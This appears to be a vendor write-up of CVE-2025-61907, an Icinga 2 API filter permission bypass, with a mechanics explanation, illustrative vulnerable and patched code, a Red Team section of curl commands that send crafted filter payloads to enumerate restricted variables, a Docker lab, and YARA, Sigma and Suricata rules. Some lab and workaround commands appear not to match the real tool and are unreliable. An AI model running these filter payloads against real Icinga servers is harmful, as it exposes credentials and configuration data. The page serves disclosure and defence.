CVE-2025-61907
Executive Summary
CVE-2025-61907 is an information disclosure vulnerability in Icinga 2, an open-source monitoring system. The flaw resides in the API's /v1/objects endpoints, where filter expressions can be manipulated by authenticated users to access variables and objects that should be restricted. This allows an attacker with valid API credentials to enumerate global variables and objects beyond their granted permissions, leading to unauthorized information disclosure. The vulnerability affects Icinga 2 versions 2.4 through 2.15.0 and has been patched in versions 2.13.13, 2.14.7, and 2.15.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated API user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is Medium due to the requirement for authentication, but the potential for significant information leakage (global variables, hidden objects) elevates the risk for environments with sensitive monitoring data.
Deep Dive & Mechanics
The vulnerability exists in the Icinga 2 API's filter expression parser. When a user makes a request to /v1/objects endpoints (e.g., /v1/objects/hosts, /v1/objects/services), they can provide filter expressions to narrow down results. The intended behavior is that these filters should only operate on objects the user has explicit permission to access (via objects/query/* permissions) and should not expose global variables (protected by variables/* permissions).
However, due to insufficient validation of filter expressions, an attacker can craft filters that traverse object relationships or reference variables in a way that bypasses these permission checks. For example, a filter like "host.vars.sensitive_data" might be evaluated even if the user lacks the variables/sensitive_data permission. Similarly, filters referencing objects via joins or nested lookups could return objects the user is not authorized to see.
The core issue is that the filter evaluation engine does not properly enforce the permission boundary at the expression level. It trusts that the user's initial query scope is correct, but the filter can expand that scope arbitrarily.
Vulnerable vs. Patched Code
Vulnerable Code (Icinga 2 <= 2.15.0): The filter expression is evaluated without checking if the user has permission to access the referenced variables or objects. The permission check is only performed on the top-level object type, not on the filter's internal references.
// Simplified vulnerable logic
bool ApiListener::ProcessQuery(const Query& query, const User& user) {
if (!user.CanAccessObjectType(query.objectType)) {
return false;
}
// Filter is applied without further permission checks
auto results = FilterObjects(query.objectType, query.filter);
return results;
}
Patched Code (Icinga 2 >= 2.15.1): The patched version introduces a permission validation step within the filter evaluation. Before evaluating any variable or object reference in the filter, it checks the user's permissions.
// Simplified patched logic
bool ApiListener::ProcessQuery(const Query& query, const User& user) {
if (!user.CanAccessObjectType(query.objectType)) {
return false;
}
// Validate filter permissions before evaluation
if (!ValidateFilterPermissions(query.filter, user)) {
return false;
}
auto results = FilterObjects(query.objectType, query.filter);
return results;
}
bool ValidateFilterPermissions(const Filter& filter, const User& user) {
for (auto& ref : filter.GetReferences()) {
if (ref.IsVariable() && !user.CanAccessVariable(ref.GetName())) {
return false;
}
if (ref.IsObject() && !user.CanAccessObject(ref.GetName())) {
return false;
}
}
return true;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid API credentials (username/password or API token) for an Icinga 2 instance.
- Network access to the Icinga 2 API endpoint (default port 5665).
Exploitation Steps:
Identify the API endpoint:
curl -k -u "attacker:password" https://icinga2-server:5665/v1/objects/hostsCraft a malicious filter to enumerate global variables:
curl -k -u "attacker:password" \ -H "Accept: application/json" \ -H "X-HTTP-Method-Override: GET" \ -d '{ "filter": "vars.sensitive_api_key", "joins": ["host.vars"] }' \ https://icinga2-server:5665/v1/objects/hostsAccess objects from a different type:
curl -k -u "attacker:password" \ -H "Accept: application/json" \ -d '{ "filter": "host.name == \"target_host\" && service.name == \"hidden_service\"" }' \ https://icinga2-server:5665/v1/objects/services
Expected Outcome: The attacker receives data containing global variables or objects they should not have access to, such as API keys, passwords, or configuration details of other hosts/services.
Blue Team
Detection Steps:
Monitor API logs for unusual filter patterns:
- Look for filters referencing
vars.*without correspondingvariables/*permissions. - Detect filters that join across object types not normally accessed by the user.
- Look for filters referencing
Audit user permissions:
- Review all API users and ensure they have the minimum necessary permissions.
- Check for users with
objects/query/*but without specificvariables/*permissions.
Honeypot technique:
- Create a fake global variable named
honeypot_secretwith a unique value. - Monitor for any access to this variable via API logs.
- Create a fake global variable named
Lab Setup:
# Install vulnerable Icinga 2 (e.g., 2.14.0)
docker run -d --name icinga2-vuln \
-e ICINGA2_FEATURE_API=1 \
-e ICINGA2_API_USER=admin \
-e ICINGA2_API_PASSWORD=admin \
icinga/icinga2:2.14.0
# Create a test user with limited permissions
docker exec -it icinga2-vuln icinga2 api create user attacker password=attacker
docker exec -it icinga2-vuln icinga2 api add permission attacker "objects/query/host"
Indicators of Compromise (IOCs)
- API Log Entries: Requests to
/v1/objects/*withfilterparameters containing references tovars.*or cross-object joins. - Network Traffic: Unusual API queries from a single user to multiple object types in a short time.
- User Behavior: A user with only
objects/query/hostpermission suddenly querying/v1/objects/serviceswith complex filters. - File System: Modified Icinga 2 configuration files (e.g.,
api-users.conf) with overly permissive rules.
Detection Engineering
YARA Rule
rule CVE_2025_61907_Icinga2_Filter_Bypass {
meta:
description = "Detects Icinga 2 API requests attempting to exploit CVE-2025-61907 filter bypass"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61907"
strings:
$filter_var = /"filter"\s*:\s*"[^"]*vars\.[^"]*"/ nocase
$filter_join = /"joins"\s*:\s*\[[^\]]*\]/
$api_endpoint = /\/v1\/objects\/(hosts|services|users|notifications)/
condition:
$api_endpoint and ($filter_var or $filter_join)
}
Sigma Rule
title: Icinga 2 API Filter Bypass Attempt
id: 7a8b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-61907 via suspicious API filter expressions
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: icinga2
detection:
selection:
EventID: 1000 # API request event
RequestPath|startswith: '/v1/objects/'
RequestMethod: 'POST'
filter_expression:
RequestBody|contains: 'vars.'
condition: selection and filter_expression
falsepositives:
- Legitimate use of variables by authorized users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-61907 Icinga 2 API Filter Bypass Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/v1/objects/"; http_uri;
content:"filter"; http_client_body;
pcre:"/vars\.[a-zA-Z_]+/Ri";
reference:cve,2025-61907;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch Icinga 2 to version 2.15.1, 2.14.7, or 2.13.13.
- Restrict API access to trusted networks only (firewall rules).
- Review and tighten API user permissions – remove unnecessary
objects/query/*permissions.
Long-term Mitigations:
- Implement API rate limiting to slow down enumeration attempts.
- Enable detailed audit logging for all API requests.
- Regularly review Icinga 2 security advisories and apply patches promptly.
- Use a Web Application Firewall (WAF) to filter suspicious API payloads.
Workaround (if patching is not immediately possible):
- Disable the API feature temporarily:
icinga2 api disable - Restrict API access to specific IP addresses via the
bind_hostconfiguration.
Valters IT